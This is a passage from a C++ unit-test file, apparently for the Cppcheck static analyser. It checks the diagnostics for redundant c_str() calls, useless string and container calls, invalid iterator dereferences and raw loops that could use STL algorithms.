redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. 